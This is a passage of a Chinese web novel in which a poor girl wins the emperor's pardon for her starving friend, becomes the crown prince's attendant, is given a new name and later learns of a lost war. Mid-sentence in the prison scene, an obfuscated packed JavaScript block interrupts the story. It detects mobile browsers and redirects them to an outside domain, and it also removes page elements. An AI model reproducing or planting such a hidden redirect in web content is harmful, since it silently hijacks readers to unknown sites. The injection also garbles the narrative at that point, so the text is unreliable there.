皇帝沉吟片刻,似乎在权衡。半晌,先前那抹冷冽之色渐渐消散,取而代之的是更难以揣测的审视。“说。”他吐出一个字,听不出喜怒,“朕只给你一个机会。” 卫余被这句话砸得身体一颤,如蒙大赦,后背的冷汗刺得她心口狂跳,“陛下明鉴,同乡阿姊绝不是有意犯下如此罪行!”她胡乱抹了一把被汗水浸湿的脸,有些语无伦次,“我们的干粮早吃完了……原以为到了长安就会好起来,可是……她已经五日不得一点吃食,好不容易讨得些剩饭也全给我了……” 她的声音哽咽,“那日娘娘殡仪,她已饿得眼睛都看不清了……那么多粮食,所有人都去抢……他们那么高,那么壮,全都挤在那里哄抢,我们怎么可能抢的过?” 卫余故意把“抢”字说得极重,前日她询问太子寻梅依法何论时,太子提及《宸律》有载:“凡开仓放粮,须依齿序而行,耄耋稚子为先,壮者其后。”虽然那日哄抢之人极多,官兵也来不及阻拦,可不代表皇帝知道后就能坐视不管。她把此事揭出,只为了让众人转移目光。若有壮者不敬为先,无知稚子效仿是否也情有可原? “抢粮?”贺中丞惊道,花白的眉须拧作一团,“朝廷早已立法杜绝此事,如今已延续七十载,怎会有人公然犯事?!陛下,至今也没有人上报此事。可见这丫头所说也不一定为实,望陛下明察!” “贺中丞也知她不过稚子?”丞相向来平和的声线中带了明显的怒意,“官吏为避免冲突,多次纵乱已是常事。百姓抢粮事小,群臣视之而不为才是乱了国之根基!” 丞相此言一出,皇帝的表情瞬间变得异常难看,他缓缓起身,在玉阶上来回踱步。“陈卿,你可知你在说什么?” 那不怒自威的语气并没有吓到丞相,只见他拱手道:“臣所言句句属实,若不早日整治这等不作为之风,日后恐生大乱。如今这壮年哄抢,幼子见他们不受惩罚,故而心生侥幸效仿偷粮。此后是否更多人知晓此事,视法度为废纸,视陛下为昏君?那将国无宁日,王朝更迭也近在咫尺了。” 卫余几乎停止了呼吸。丞相如此直言不讳,竟敢直谏朝廷弊端,这可是犯了大忌讳!若陛下发怒,那怒火会不会波及自己?她的心跳得飞快,只敢偷眼去看皇帝,皇帝的脸色愈发阴沉,实在让人胆寒。 大殿内死寂一片,皇帝的脚步顿住了,卫余倒吸一口凉气,生怕下一秒丞相就会被治罪。 “陈卿果然敢于直言,不愧是朕的肱骨之臣啊。”皇帝突然笑了起来,卫余心口一松,这话听着也不像讥讽,难道……陛下他没有生气? 皇帝接着道:“若非丞相揭露,朕竟不知朝廷之中弊病重重。官吏不为,法度难行,长此以往,国将不国。”他的目光快速扫过殿内众人,“朕今日便定下新制,即日起,令刑部彻查各地放粮乱象,凡有任由哄抢,不作为者,严惩不贷!” 此话一出,贺中丞还想再说些什么,见几人纷纷下跪,只好止住口舌。“陛下圣明!”丞相带头叩首,皇帝微微颔首,目光又落在卫余身上。 “你虽为同乡陈情,但偷粮之事却有发生,理应治罪。”卫余的指尖猛地拽紧衣裙,低头听着天子审判,“然今日丞相所言,让朕知晓背后隐情。官吏不作为在先,才致百姓乱象。朕念你赤忱之心,且为饥民请命,特从轻发落偷粮之罪。” 那被汗水浸湿的衣裙骤然被松开,卫余几乎不敢相信自己的耳朵,忙跪地磕头:“陛下皇恩浩荡,民女感激不尽。日后必劝诫同乡,谨遵国法,绝不再犯!” 皇帝摆摆手,“起来吧。”卫余颤颤巍巍起身,双腿发软。皇帝看着她,眼里多了几分思虑。“你倒是个有胆量的,敢在朕面前求情,也有条理说出背后隐情。朕问你,可愿意留在宫中,为国效力?” 卫余愣住,完全没有想到皇帝会这么问。她原以为托太子的光,能留在东宫做一个普通侍女已是天大恩典,如今陛下金口玉言,这铺天的喜悦几乎淹没了她。 “朕本欲你先留在尚食局,从最基础做起。可现在看来,丞相似乎有更好的安排?”皇帝似笑非笑,卫余这才看见一旁的丞相早就欲言又止。 丞相上前一步道:“依臣愚见,此女年纪尚小,便可波澜不惊面圣,且叙事有条有理,若留她在尚食局,恐没其才能。” “那依丞相所言,何处才算得好去处?” 丞相正色道:“太子殿下现如今虽有臣和贺中丞指导,但东宫所缺从不是良师,而是一面能辅佐储君,映出储君不足的镜鉴。” “丞相的意思是,”皇帝负手而立,眼神犀利,“让她成为太子侍臣?” 侍臣?!卫余回忆起太子提起的官职名,她那时压根不知道这是何职位,只当是宫人的一种。可听方才丞相所言,这怕是储君之砾石,王朝之副轭!如此紧要之职,真的是她可以胜任的吗? “陛下且慢!!”贺中丞疾步上前,“此女出身低微,不过一介平民,怎能担此重任?”他语气急促,仿佛国家将亡于此刻。“况且侍臣之职,既要侍奉殿下左右,赞导众事,顾问应对,又要承担‘伴读’责任。她年纪极小,又生于穷乡避壤,恐连大字也不识几个,殿下怎能与此人为伍?!” 卫余闻言,表情未有半分被讽刺的委屈与怒意。她自幼听过的讥讽谩骂何止于此?卫介的厌恶,母亲的嫌弃,柳氏的污蔑……她早就司空见惯。 周重晏欲开口替卫余说话,卫余先一步作揖,声音清亮:“贺大人所言极是,民女 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“贺卿所言,也不无道理……”皇帝沉思,似又要改变主意。丞相及时道:“也不见得此女真的毫无才学!陛下或可给她一个机会,考验她的才学,若通过,便由她担任此职。” 皇帝听了,微微点头。贺中丞拦住刚要拿起竹简,涤笔洗墨的丞相,“还是由臣出题,以防有心人徇私舞弊。” 卫余垂着头,盯着自己脚尖上绒球,冰凉的指尖掐入掌心,企图用微薄的痛处压制住身体的轻颤。伴随着皇帝的一声“准——”,刹那间,周遭的声音如潮水一般褪去,只余下她如擂鼓般的心跳。 正如贺中丞所言,她不识几个字! 村中虽有私塾,卫介却总以女子无才便是德的借口拒绝送她读书。为数不多认得的几句诗,也全是寻梅偷偷从卫秀才那偷学来的。 “你且说说此话何读?又作何解?” 贺中丞捋了捋须,在竹简上提上几句墨字,随即浮现出一抹莫测的笑意,他岂能让这黄口小儿蒙混过关?丞相接过竹简,脸色一变。 此题极刁钻!这句话并非出自《诗经》《大学》等必读经典,而是来自前朝一位被偷取官职的秀才。其近乎湮灭,往往只在怀才不遇,只觉自己时运不济的文人墨客中流传。莫说一个五岁女童,便是受到皇族教育的皇家子弟也难以认出。 这分明是蓄意刁难,要坐实她“学识浅薄”之名。周重晏唇瓣微启,就要出声维护。丞相却精准而隐蔽的碰了一下他的手臂,力道不重,却瞬间刺破了他涌上的冲动。 “殿下,慎言。” 那四个字重若千钧,周重晏猛地一僵,到了嘴边的话硬生生咽了下去。他明白,这是给新晋侍臣的第一道题,亦是下马威。 贺中丞见此,嘴角笑容更深,似是胜券在握。卫余死死盯着竹简上笔迹飘逸的十个字,只堪堪认出第二句有“天”“不”二字。就在这时,她的脑中忽的闪过一个画面,那日长安夜市灯火通明,寻梅拉起她的手,“我们不做贼!” “偷盗终有报,天理不可逃。”每一个字都带着小心翼翼,卫余边说边观察着贺中丞的表情,眼里的慌乱尽数褪去,取而代之的是一抹极亮的光彩。 “回大人,这并非计于典籍,若民女记忆无差,应是前朝一位读书人被夺了功名,题于家中之词。” 11. 赐名 时值日落,昏黄的天幕悬挂在金殿之上,落日余晖照射在同往东宫的御道上,卫余的影子被拉的老长。 自宣政殿出来,他们摈弃了车架随行。 丞相步履稳健,走在最前。周重晏落后半步,时不时回头张望卫余是否跟上。 “孤……很高兴。”他放慢脚步,他语气轻柔,像是在自言自语,“你天资聪颖,假以时日,必非等闲之辈。” 卫余脸上泛起淡淡的殷红,却不敢自傲:“殿下谬赞,若不是同乡阿姊曾提起过,民女怎能得获陛下青眼。”周重晏笑容如春日朝阳:“这也能证明你的洞察力、记忆力超乎常人。” 他语气一顿,随后正色交代道:“父皇不日变会下诏,侍臣一职虽不过七品,不列朝班,却也是布衣卿相之起源。往后,你也不必再自称‘民女’,而是该改口称臣了。” “臣?”这个念头如惊雷般在卫余脑海中炸开,不是‘奴婢’,不是‘民女’,而是‘臣’。一个让她过去跪伏在地,抬头也不敢窥视的存在。她从此是臣子,这个身份如烧红的铁烙,重重烙印在她的灵魂上,重新定义了她是谁,她该怎么活着。 “即日起,你便常伴孤左右,尚不知你唤何名?”周重晏的声音清朗,带着一丝好奇。卫余的狂喜止住,头不由得低垂着,动了动嘴唇,却不发出一个字,仿佛难以启齿。 过了片刻,才吞吞吐吐答道:“回殿下,民女……微臣……”她显然还未适应新的自称,慌乱中改了口,“微臣单名一个‘余’字。” “美玉无瑕之‘瑜’?”周重晏问道。卫余顿了顿,她不晓太子所说是哪个字,但绝对与卫介所寓意的毫无关系。从出生那刻便被其赋予的屈辱和麻木重新席卷而来,她的声音带着苦涩,仿佛被人戳中了还未结痂的伤口: “他们常说女娃吃的用的都是多出来的,兴许是……‘多余之人’的寓意吧。” 空气凝滞了,周重晏温和的笑意瞬间褪得一干二净,眉头轻蹙,更多的是误触他人伤疤的自责。他无法想象卫余是如何背负着如此刻薄的名字度过了童年,他年纪尚小,不知怎样安慰人,只得把求助的目光投向不远处的丞相。 “世间众生皆珠玉,岂有多余之理?”丞相缓缓走到卫余身旁,蹲下平视卫余的眼睛。他已褪去了朝廷上的威严,如同寻常人家的一位祖父。 见她仍抿着嘴,丞相并不急于宽慰,转身同太子说道:“殿下,她既入东宫,便为新生,旧名已如往日死。臣以为可为其择一新名,以寓期许。” 周重晏微微一怔,随后了然。他凝神思索片刻,沉吟道:“人生有新旧,贵贱不相逾。”言毕,他命随行宫人所带巾箱,取出其中裁剪好的麻纸,手握小巧寸笔,写下两个墨字。 “卫逾之。”他解释道:“逾者,越也;之者,往也。孤为你取名‘逾之’,愿你日后,越过昔日之困顿,逾越世俗之偏见。自强不息,光耀不朽。” “还不快叩谢太子隆恩。”丞相抚须笑道,卫余,不,卫逾之随即俯身,将额头抵在冰凉的地砖上,再一抬头,她已身着青绿侍臣袍,跪在东宫门前。 福全公公缓缓展开圣旨:“奉天承运皇帝,诏曰:‘朕闻立国之道,辅弼为先。兹有卫氏逾之,性行贞慧,久历困厄,不失其节。特授其太子侍臣之职,辅佑东宫。允其出入禁闱,侍立左右,规劝得失,观谋典籍,砥砺学问。钦此——’” 最后两个字拖得极长,卫逾之额抵于地,她能听见自己耳中血液奔流的声音,几乎掩盖尖锐的宣召声。那双曾经浣衣淘米,生火煮饭的手,接过了象征皇权的圣旨。 “微臣谢主隆恩。吾皇万岁,万岁,万万岁!” 从今往后,她有了俸禄,有了官身,有了希望。圣旨被她高举于头顶,一滴滚烫的泪毫无征兆的滴落。 天牢的入口深不见底,散发着若有若无的霉味,钥匙在引路狱卒的腰间碰撞,发出令人牙酸的声响。墙壁上的火把忽暗忽明,混杂着铁锈腥气的浑浊空气,卫逾之裹了裹身上略显宽大的官袍,强压下呕吐的欲望。 两侧牢房传来窸窣的声响,从黑暗中骤然贴上一双双麻木中带着疯狂的眼睛,紧盯着这位意外的访客。 狱卒在一处铁栅门前停下,铁链被哗啦啦打开,在黑暗的牢房中显得格外刺耳。寻梅侧卧在角落的枯草中,火把照亮了一张污迹斑斑的小脸。 “寻梅姐!!”卫逾之再也忍不住,跨过铁门,紧紧握住寻梅冰凉的手腕,寻梅微微动了一下,原本空茫的眼眸瞬间因为惊愕而睁大。“小……小余……我是在做梦吗?” 她的嗓音沙哑,嘴唇因为极度缺水而开裂,圆圆的脸颊已瘦得凹陷,就连坐起来的动作都显得格外吃力。卫逾之哽咽着道:“寻梅姐,是我,我来接你走。” “你疯了?!”寻梅焦急道,“快点走,他们说要把偷粮的孩子全部打三十大板,游街示众,然后贬为奴籍,流放边疆!你要是被抓住了,也逃不了的……” “陛下已经轻恕偷粮之罪,我有文书为证。”卫余的身后,一直跟着她的太监将那份盖有东宫印鉴的文书从怀里掏出,递给狱卒,“有劳,此人现由东宫接管。” 狱中验看文书,不敢怠慢,忙不迭的掏出钥匙,解开寻梅脚上沉重的镣铐。寻梅一怔,“小余,陛下他……赦免了我们吗?”她的声音里充满了劫后余生的恍惚。 卫逾之艰难的摇了摇头,目光直视着她,“陛下开恩,免了你们的杖刑和流刑。”寻梅眼睛骤亮,希望之火却被卫逾之的下一句话猛地扑灭。 … “但是,”卫逾之垂下眼眸,“陛下并没有赦免你们的罪过…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533592|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下旨意,是贬黜奴籍。” 寻梅眼中的光一点点破灭,刚刚有点血色的脸再次变得惨白!卫逾之用力拽紧她的手,疼痛将她从绝望边缘拉回。“你听我说完!”卫逾之的声音陡然拔高,“陛下恩典,允了我侍臣之职。太子殿下说了,若你愿意,准你随我回东宫!” “东宫?!”寻梅的瞳孔猛缩,“是,东宫!”卫逾之重复道,“寻梅姐,我们回不去了,长安的天地不是你我可以闯荡的。但东宫,现在是我们的容身之地,若我在东宫有一口饭吃,就绝不会饿着你!” “我们在一起,”卫逾之目光灼灼,“只要我们在一起,前方总有路。你愿意……和我回去吗?” 寻梅愣愣的看着她,那个成绩和自己一起在草地里打滚,分享同一块麦芽糖的小妹妹,现如今身着官袍,为她撑起了一片小小的天地。她重重点头,哽咽得说不出话,只能用尽全身力气反握住她的手,仿佛那是溺于河中唯一的救命稻草。 东宫西北角坐落着一处僻静的小院,名曰“天水居”。此处离太子书斋不远,既方便侍召,又免受过多喧扰。天水居的窗棂半开着,秋风带着桂花的香气潜入,西厢房内,一盏暖黄的油灯笼罩着两个小小的身影。 寻梅蜷腿坐在临窗的榻上,浆洗干净的棉布衣裙服帖的裹在身上,手中捧着一碗温热的米粥,狼吞虎咽的吃着,粥的热气熏的她眼眶微微发酸。 卫逾之已换下官袍,只着一身素色襦裙,安安静静的坐在对面的木凳上,待寻梅碗中见了底,才问道:“我今日到狱中去,丐帮的人怎么少了许多?我瞧着侯玉姐姐也不在里面。” “跑了。”寻梅皱起眉,“她打发我们去引开官兵,自己带着几个利索的偷偷跑进去。本来也没事,可他们偷拿的粮食太多了,兜里装不下,离开的时候散了一地……” 寻梅的手紧紧抓着衣角,眼里蒙了一层水雾,“那么多人都看见了……他们大叫着把官兵找了过来……侯玉她……她压根不管我们,直接拔腿就跑,还把……还把挡着她路的全部推倒……一溜烟就消失在人群里……” 她的声音越来越小,直到哽咽得再也说不下去,卫逾之没有说话,只是起身为寻梅盖上被褥。她理解侯玉的不易,却不能劝解寻梅放下对她的仇恨。 夜更深了,窗外桂花飘落一地,烛火四处摇曳。寻梅早已在铺着洁净布衾的床榻上沉沉睡去,卫余见天色不早,欲起身将油灯熄灭,门外却在此时传来了细微脚步声。 她小心翼翼的推开一条门缝,见太子周重晏立于门口,着一身月白常服,身后的侍从们捧着高高一摞书。 “不必多礼。”周重晏先一步拦住她跪拜的动作,示意她不要叫醒寻梅,转身示意侍从将堆积如山的书简呈上,“孤来为你送书。”他的手指拂过书面,声音如叙家常。 12. 初学圣贤书 卫逾之上前一步,目光落在那些略显陈旧却保存得当的书卷上。 “这些书,是孤为你挑选的。”周重晏道,“你初入宫闱,学识根基尚浅,不必从艰深处入手,正如太傅所说:‘当如起台,先夯其基’。” 他将书册递到卫逾之面前,“这是孤开蒙识字的第一本书,你看看这个。” 卫逾之脸上瞬间掠过一丝局促,她不过跟着寻梅才略识得几个字,如何才能跟上自幼长于皇室,被世人寄予厚望的储君?这些书,自己怕是一句话也读不通顺的。 她伸出双手,郑重的接过那本书,书册比她想象的重,沉甸甸的,混合着纸墨的香气。她低下头,却不见想象中密密麻麻、排列整齐的方块字,那书页版式疏朗,字大如斗,一旁还用朱笔细细批注。 周重晏道:“你先读前五篇,不求甚解,先以背诵为主,读熟读顺。”他的语气充满了鼓励,“学问之道,无他捷径,唯有循序渐进。你无需与他人比较,今日识五字,后日识十字,便是进益。” 卫逾之手中书册此刻重逾千金,她抬起头,眼里满身感激与喜悦:“殿下厚爱,逾之……铭记于心,必不敢懈怠。” 夜深了,油灯骤然爆开一个火花。寻梅细微的鼾声从里屋传来,虫鸣透过门缝,织就一场夜幕。 卫逾之揉了揉发胀的眼睛,困意如潮水般袭来,她的头如小鸡啄米般一下一下点着,好几次险些扑倒在书页上,又猛地惊醒,灌下一壶凉水,直到东方泛起鱼肚白。 晨光初起,透过文华殿的窗格,照射在周重晏挺直的脊背上,少傅贺进手持书卷,正讲到‘民’字。 “‘民’之一字,看似泛指天下苍生,其实可拆解为士、农、工、商,四民有别,各司其职方能……” 一阵轻微的脚步声打破了殿内的肃穆,他的声音一顿,闻声望去。内侍引着卫逾之站在门边,她依旧穿着青绿的袍子,头发整齐的梳成一个小髻。 贺进眉头微不可察的一皱,并未言语。周重晏温声道:“既来了,便寻个位置坐下听讲吧。” “卫侍臣,”贺进声音冷硬,并未按部就班的开讲,而是直接看向卫逾之,目光冷似寒冰。“你既蒙陛下恩典,入文华殿同太子侍读,便应明白先人的规矩。” “学规森严,辰时即课,分毫不可差。你首日听讲便姗姗来迟,可是觉得殿下和本官,不值得你准时以待?” 这话极重。卫逾之脸色苍白,忙道:“学生不敢,是学生疏忽,学生愿领罚……” “孤昨夜赠了卫侍臣几本开蒙读物,叮嘱她定要仔细研习,想来是彻夜苦读,这才误了时辰。”周重晏见状,便知贺进仍未释怀那日大殿之事,今日发难,恐怕不会善罢甘休。 贺进捻须思索片刻,他深知卫逾之根基浅薄,面圣时破开自己所出题目亦是侥幸。何不趁此机会杀一杀她的锐气,让她知难而退? 他不再看她,转而面向太子,语气稍缓:“殿下,臣还记得您幼时开蒙时所读第一本书便是《千字文》?” 周重晏微微一怔,他已隐约猜出贺进的用意,还未开口阻止,便听贺进道:“殿下,《千字文》乃蒙学之基,包罗万象。今日便温故知新如何?” “少傅……”周重晏欲言又止。今日之事卫逾之确实有错在先,自己贸然开口回护,恐怕反而激起贺中丞更为严苛的惩罚。 见得了太子默许,贺进冷冷瞥过卫逾之,“太子既说你彻夜用功,今日本官便考你一考。若答不上来,便立于殿外听讲,以儆效尤。” “你便从这一句起,背。”他略一沉吟,开口便是那最为晦涩难懂的一段:“枇杷晚翠,梧桐蚤凋。陈根委翳,落叶飘摇。” 并非是从第一部分的“天地玄黄”开始抽背,这几句用词生僻,诘屈聱牙。寻常读书郎初学时亦难以明了,更何况是一个尚无根基的稚女? 周重晏心下一沉。此女昨日初次习得文章,一无学识基础,二无先生指导,若能读顺第一部分已是不易。预习至此,简直天方夜谭。 少傅这已非考校,分明是公然针对折辱! 见卫逾之没有立刻开口,贺进眼中冷意更甚,那一声“愚钝!”几乎要脱口而出。 “游鹍独运,凌摩……凌摩绛霄。耽读玩市,寓目囊箱……” 一个磕磕跘跘的声音响起,这声音起初如风中蛛丝,细弱颤抖。卫逾之每一个字都背得极慢,时有停顿,却实实在在的背了出来。 “……饱饫烹宰,饥厌糟、糟糠。亲戚故旧,老少异粮……”到了这一句,她的声音渐渐稳了一些,虽依旧断续,却并未就此停下。 周重晏担忧的眼神瞬间褪去,取而代之的是不可置信的惊讶与欣赏。 贺进的脸色阴沉下来。 他原以为卫逾之会一个字也背不出,或是当场痛哭,或是开口申辩。可这不是他所预想的局面,没有哭泣,没有求饶,只有那不成调却执拗持续的背诵声,像一根尖针,不轻不重却让人如芒在背。 “……谓语助者,焉哉乎也。” 最后一个字落下,卫逾之扬起脸,带着一丝不确定,轻声问道:“少傅,学生背完了。现下可否归坐?” 一片死寂。贺进僵在那里,脸色一阵青一阵白。虽然磕跘,虽然缓慢,但她却一字未错。这精心设计的下马威,非但没有让卫逾之难堪,反倒成了她用心苦学,记忆超群的佐证! 他最终冷哼一声,语气干涩:“句读不通,记性尚可!且坐吧。” 卫逾之恭敬行礼,移步坐下。那双放在膝上的手,正不可控制的微微颤抖。 午时已到,讲学即毕。贺进面色不虞地拂袖而去,宫人们也退至殿外等候,一时间,文华殿内只剩下小心翼翼整理书卷的卫逾之和静立一旁的太子。 “卫姑娘……”周重晏开口,似在斟酌着用词:“方才那《千字文》……当真是你昨夜所背?” “是。微臣得殿下劝告,唯恐目 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在她过去的五年时光里,围绕她的声音太多,却从未有过这样的期许。 “若你是一个男儿,我又何必如此?” “女娃不过是个赔钱货!” “我卫介还能绝后了不成?!” “下一次就轮到你家余丫头!” 无视,敌意,压榨……这些词语构成了她世界的围墙,却被今日太子的话,骤然破开。 一股前所未有的暖意,毫无征兆的从心口炸开,瞬间冲上眼眶,酸涩的让卫逾之几乎掉下泪来。 “少傅他……或许并不是不喜你这个人。”周重晏接着道。“他是不喜欢你的身份,不喜欢你抢走了他的特权。” “殿下这是何意?”卫逾之疑惑问道。 “在他的认知里,天地君亲师,秩序井然。太子侍臣,是下一任帝王的心腹。自古以来,无不是出生于家门显赫,钟鸣鼎食之家。你的出现,像一幅严谨画上的墨点,打破了秩序。你勤奋,聪颖,甚至让他感觉到意外,这些都很好,但在他看来,却是僭越。” “之前少傅本有意择其幼子入选侍臣,你的存在,却让他的特权不再。是以他才认为你是一个偷盗者,才用了那样一句诗句作为考题。” 卫逾之的嘴唇发白。她终于明白那日贺进为何以‘偷盗终有报,天理不可逃’来考校自己。不是因为自己说错了什么话,做错了什么事,皆因自己已成为打破规矩,剥夺其特权,阻碍其子青云路的‘墨点’! 周重晏并未再说什么,盖因殿外不合时宜的传来一阵匆忙的脚步声。春喜未经通报,便闯了进来。 “殿下,”春喜俯身道,“宫里传来喜讯,贵妃娘娘,午时三刻,诞下一位小公主,母女平安。” 周重晏脸上并未变化,既无欣喜,亦无波澜,只是方才还明亮的眼眸,几不可察的黯淡了一瞬。 13. 局势 “知道了。”周重晏吐出三个字,声音听不出情绪。春喜小心翼翼瞥着他的脸色,悄无声息退到一旁。 良久,太子依旧立在那里,无端透出一丝孤寂。卫逾之低下头,刚想行礼退下,便听他道:“去更衣吧。一会随孤入宫,跟父皇贵妃道贺。” 卫逾之怔住了。周重晏解释道:“你身为太子侍臣,并非只需做孤的学伴,也须时刻侍立左右。” 他不再多言,转身随宫人们沐浴更衣。 马车轱辘碾过御道,声音沉闷至极。周重晏一路沉默不语,只静静看着窗外流转的巍峨宫墙。抵达颐华宫时,这里早已喜气洋洋。宫人们脸上带着笑,来往穿梭,端着各色赏赐。 周重晏在殿外重新整理了衣冠,这才举步踏入。卫逾之紧随其后,低眉敛目,严格按照礼仪嬷嬷所教那样,不敢有半分行差踏错。 颐华宫内,暖香弥漫,驱散了深秋的寒冷。 卫逾之微微抬眼,见皇帝侧坐于榻上,贵妃柔若无骨地靠在锦绣堆叠的软枕上。 这位宠冠六宫的贵妃,此刻产后的疲惫尚未褪去,却仍是遮掩不住的明艳动人。一双眼波潋滟的桃花眼,鼻梁高挺,眉弯如月,无不让人惊叹三分。 “儿臣恭贺父皇,恭贺贵妃娘娘。”周重晏躬身行礼。 “晏儿来了,快,来看看你的皇妹!”皇帝心情颇佳,招手让他上前。卫逾之快速瞥了一眼小公主,那襁褓中的婴儿还有些皱巴巴的,皮肤泛红,正不安分的扭动着,发出细微的哼唧声。 太子依礼说了几句吉祥话,皇帝的注意力很快又回到小公主身上,并未与他过多言语。 殿外蓦然传来一阵喧哗,一位身着交领锦袍,约莫比太子小一点的男孩被乳母领了进来。他正是林贵妃所出的二皇子,名唤重岳。 “父皇,母妃。”他不情不愿的行了礼,挣脱乳母的束缚,一张小脸不知怎的热的通红,发髻也有些松散。 皇帝沉浸在喜悦中,没有当即沉下脸来,只是询问道:“你母妃刚刚生产,你倒好,不知到何处玩闹了?” 周重岳缩了缩脖子,这才看见一旁的婴儿,屈尊降贵般的朝那襁褓看了一眼,道:“不过是个女娃娃,有什么好看?还不如我的马儿呢。” 他嫌弃的瘪嘴,还不忘大声朝着宫人吩咐道:“还不快去把我的小马牵回来!这点小事都办不好,我早该叫母妃把你们这群没用的东西都打发了!!” 皇帝的脸色彻底阴沉。周重晏垂下眼眸,掩去一丝冷意。殿内死寂,宫人们纷纷垂首,等待中即将爆发的雷霆之怒。 贵妃脸面也有些挂不住,强笑道:“陛下莫气,岳儿还小,是臣妾把他娇纵坏了。” “岳儿,你也是当哥哥的人了,怎么还是这般口快,惹你父皇生气?还不快退下去!”她皱着眉指责了二皇子几句,周重岳这才反应过来皇帝面色不虞,连忙一溜烟跑了。 皇帝叹了口气,方才的温馨早已荡然无存,周重晏适时开口道:“父皇息怒,二弟年幼,好生教导便是。贵妃娘娘生产辛苦,儿臣便不打扰您静养,先行告退。” 待皇帝摆了摆手,他平静目光的掠过贵妃略显苍白的脸上,带着卫逾之退出这暖香四溢的宫殿。 从颐华宫出来,夜色已浓,宫灯次第亮起。太子并未选择车架,步行在宫道上。他的步履比来时更显沉重,卫逾之跟在他身后,能清晰感受到前方背影的孤寂。 行至一处曲廊,一名内侍匆匆赶来,跪地禀报:“殿下,陛下为小公主赐名了。” 周重晏脚步一顿,示意他说下去。 “陛下钦定,赐名‘群玉’,取‘玉中魁首,卓尔不凡,珍贵无比’之意。” “群玉……”周重晏低声重复了一遍这个名字,嘴角似乎想扯出一个为皇妹高兴的弧度,最终是僵住了。 皇子降生,普遍遵循“三月命名”的古礼,而这位刚刚出生的小公主,甚至尚未满月,父皇便迫不及待的为其赐名,毫不掩饰其欣喜与珍爱。 “殿下……”卫逾之担忧的唤了一声,他这才回过神,抬手挥了挥,内侍会意退下。 廊下只余他们二人,晚风吹动树叶,沙沙作响。周重晏没有继续往前走,他转过身,面向廊外那片笼罩在夜色中的荷塘。月光照下,卫逾之好像明白了什么。 静庄皇后薨逝不足两月,皇宫中又迎来了新生与欢声笑语。皇后娘娘去时,陛下是何等的悲痛?三日不朝,悲恸之色溢于言表。她原以为帝后伉俪情深,可如今陛下有了更疼爱的幼子,展露欢颜,为其打破例法。 仿佛她的离去,并未过多在陛下心中留下痕迹,新生的光亮如此轻易的抹去了旧日的泪痕。 陛下对先皇后的感情,究竟是真是假?是情深不寿的深情,还是演给天下人看的假意? 夜色如墨,东宫的烛火随风摇曳。从宫中回来后,周重晏便一直沉默的坐在书斋的案前,面前的《春秋》久久未曾翻动一页。 门被轻轻推开一道缝隙,卫逾之手中端着一只小小的白瓷碗,热气袅袅升起。 “微臣去小厨房,看见这碗杏仁羹还热着。听春喜公公说,殿下晚膳没用多少。” 周重晏抬眸,脸上有挂起温和的笑容。“有心了,放在那里就好。” 白瓷碗被轻轻放在案上,卫逾之没有立刻退下。她本该恪守本分,悄然离去。可只要一想起太子对自己赐名赠书的善意,想起他在颐华宫黯然的眼神,她的脚步便无法挪动。 “殿下……”卫逾之轻声开口,仿佛自言自语道:“殿下心里难过,是想起了皇后娘娘,对吗?” 周重晏愕然,显然没料到她敢这么说。 卫逾之接着说了下去:“微臣以前,也曾偷偷难过。爹娘只有我一个孩子,可为何自己不管怎么做,都像一株无人问津的野草,他们任由我自生自灭,随意打骂斥责。” 她的声音顿了顿,看向太子:“后来,微臣才明白,‘爱’这种东西,不是每一个孩子都能得到的。” “您可还记得皇后娘娘的样子吗?记得她手心的温度?记得她唤您名字的声音吗?” 周重晏蓦 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周重晏怔愣了许久,看着这位一无所有,仍愿意自揭伤疤宽慰自己的女孩,眼角滑出一滴清泪。 光阴如水,一去不回。距那日东宫敞开心扉,悄然已过了三载。 文华殿外添了新绿,又覆皑雪,周而复始。那份属于两个幼子间的悲欢,很快被突如其来的战事倾砸,显得那样微不足道。 大约暮春时分,朝廷风云突变,压抑黑云笼罩着整个长安城。 就连文华殿的讲学也中断了多次,周重晏被皇帝召见的次数与日俱增,每次回来,他的脸色都比前一日凝重,眉宇间属于少年的朝气被强行抽离。 那日午后,卫逾之被悄然唤至书斋。太子站在那张巨大的山河舆图前,负手而立。 “殿下?” 太子没有回头,只是抬起手,指向舆图上被朱笔圈起的一片区域。 “逾之,我们和离朝的仗……打完了。” 卫逾之心中猛然一跳。这半年来前线战事吃紧,早已在民间流传。 “我们……败了。”周重晏的声音沙哑,他的手指重重按在那片朱砂之上。 殿内静的可怕,窗外偶尔传来几声鸟鸣,此刻显得格外刺耳。 “离朝提出条件,”周重晏的眼里布满了血丝,声音不甘,几乎是咬着牙才把后面的话说完:“赔偿一百万两银子,割让……东安九郡,两国停战。” 割地!!卫逾之惊得晃了晃身形。那可是东安九郡!那片区域,山脉纵横,河道蜿蜒,是保卫宸朝最重要的屏障!! “那……太傅大人……”她下意识问道,丞相已多日不来东宫授课,引得许多宫人私下猜测。 周重晏闭着眼,无力道:“太傅他……已奉旨,作为宸朝使臣,前往边境谈判。” 他顿了顿,声音带着悲凉的嘲讽:“说是谈判,也不过是在敌国草拟好的条约上,盖上我国印玺罢了。” 舆图上那抹鲜艳的红色,此刻仿佛如鲜血般流淌下来。 14. 变法 几个月的光阴在焦灼的等待中飞速流逝,边关烽火虽熄,那笼罩在皇都的阴云从未散去。 直到一个秋雨潇潇的午后,一骑快马踏过官道的泥泞,溅起冰凉的水花,驶入长安。 “回来了!丞相大人回来了!!” 消息如掷入平静水面的石子,迅速传开。卫逾之正在书斋临帖,闻声笔尖猛然一顿,一大滴墨迹污了宣纸,她却浑然不觉。 周重晏疾步走来,步履生风,往日的沉稳被此刻的急切打破。 他站定在那张巨大的舆图前,手指落在东安九郡最南边的方向上,那里正是最靠近宸朝的腹地、卫逾之幼时的家乡——晋城!! “离朝当真狼子野心,贪得无厌!最初提出的条款,居然要尽占东安九郡,包括晋城在内!!” 卫逾之的心立刻吊了起来,她不敢询问结果,只能屏息望着怒火中烧的太子。 晋城虽小,却扼守通往宸朝内部的咽喉,若尽归离朝,则宸朝北境就此门户大开,再无宁日!此非割地,实乃授人以柄,自毁长城! 